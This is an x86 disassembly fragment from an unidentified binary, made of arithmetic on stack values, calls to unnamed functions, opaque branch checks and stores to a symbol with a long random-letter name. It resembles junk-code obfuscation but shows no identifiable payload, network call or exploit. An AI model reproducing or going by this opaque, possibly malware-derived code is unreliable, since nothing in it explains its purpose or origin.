add ecx, 0x14656
push ecx
mov edx, dword [ebp - 0x30]
add edx, 0x3c03
push edx
mov eax, dword [0x51a85c]
add eax, 0x2fba
push eax
mov ecx, dword [ebp - 0x40]
add ecx, 0x494f
push ecx
call fcn.00405d10
add esp, 0x10
mov edx, dword [ebp - 0x50]
sub edx, 0xd560
push edx
mov eax, dword [ebp - 0x44]
sub eax, 0x5b7d
push eax
call fcn.00411d90
add esp, 8
mov ecx, dword [ebp + 0xc]
or ecx, 0x5c6
sub ecx, 0x4502
xor ecx, 0x4e593f95
mov edx, dword [ebp + 0x18]
or edx, 0x2d0c
xor edx, 0xfeca
mov dword [edx + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], ecx
mov eax, dword [ebp - 0x24]
sub eax, 0xcdd3
push eax
mov ecx, dword [ebp - 4]
sub ecx, 0xf27d
push ecx
mov edx, dword [0x51a8b8]
sub edx, 0xaa83
push edx
call fcn.00410ac0
add esp, 0xc
mov eax, dword [ebp - 0x5c]
add eax, 0x48c
push eax
mov ecx, dword [0x51a8bc]
add ecx, 0xdf3b
push ecx
mov edx, dword [ebp - 0x28]
add edx, 0x10c0
push edx
mov eax, dword [ebp - 0x2c]
sub eax, 0xc84
push eax
call fcn.00405d10
add esp, 0x10
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [0x51a860]
jge 0x421e63
mov dword [ebp - 0x728], 1
jmp 0x421e6d
mov dword [ebp - 0x728], 0
mov edx, dword [0x51a85c]
cmp edx, dword [ebp - 0x14]
jge 0x421e84
mov dword [ebp - 0x72c], 1
jmp 0x421e8e
mov dword [ebp - 0x72c], 0
mov eax, dword [ebp - 0x728]
and eax, dword [ebp - 0x72c]
je 0x421fbc
mov ecx, dword [ebp - 0x5c]
cmp ecx, dword [0x51a8bc]
jne 0x421fbc
mov edx, dword [0x51a878]
cmp edx, dword [ebp - 0x1c]
jne 0x421fbc
mov edx, dword [ebp + 0x10]
and edx, 0x750b
xor edx, 0x4a660142
mov eax, dword [ebp + 8]
add eax, 0x8ff1
xor eax, 0x177c8
mov dword [eax + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], edx
mov ecx, dword [ebp - 0x54]
add ecx, 0x5aa2
push ecx
mov edx, dword [0x51a878]
add edx, 0xc135
push edx
mov eax, dword [0x51a8cc]
add eax, 0x9d9c
push eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x1f44
push ecx
call fcn.00405d10
add esp, 0x10
mov edx, dword [ebp - 0x40]
cmp edx, dword [ebp - 0x3c]
jge 0x422026
mov dword [ebp - 0x738], 1
jmp 0x422030
mov dword [ebp - 0x738], 0
mov eax, dword [ebp - 0x1c]
add eax, dword [0x51a878]
mov ecx, dword [0x51a870]
imul ecx, dword [ebp - 8]
and ecx, dword [ebp - 0x738]
or eax, ecx
je 0x42205c